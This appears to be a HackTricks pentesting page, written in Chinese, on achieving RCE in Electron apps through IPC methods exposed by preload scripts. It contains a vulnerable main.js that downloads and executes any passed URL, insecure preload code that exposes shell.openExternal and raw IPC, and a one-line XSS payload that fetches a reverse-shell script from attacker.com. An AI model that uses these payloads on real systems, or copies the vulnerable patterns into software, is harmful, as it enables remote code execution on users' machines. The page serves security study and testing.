Electron contextIsolation RCE via IPC

支持 HackTricks

如果 preload 脚本从 main.js 文件暴露了 IPC 端点,渲染进程将能够访问它,如果存在漏洞,可能会导致 RCE。

这些示例大多来自这里 https://www.youtube.com/watch?v=xILfQGkLXQo。查看视频以获取更多信息。

示例 0

来自 https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 的示例(您可以在这些幻灯片中看到 MS Teams 如何利用 XSS 进行 RCE 的完整示例,这只是一个非常基本的示例):

示例 1

检查 main.js 如何监听 getUpdate 并将 下载并执行任何传递的 URL。 还要检查 preload.js 如何 暴露任何 IPC 事件来自 main。

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

利用:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

示例 2

如果预加载脚本直接向渲染器暴露调用 shell.openExternal 的方法,则可能获得 RCE

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};

示例 3

如果预加载脚本暴露了与主进程完全通信的方式,则 XSS 将能够发送任何事件。这种影响取决于主进程在 IPC 方面暴露了什么。

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
支持 HackTricks

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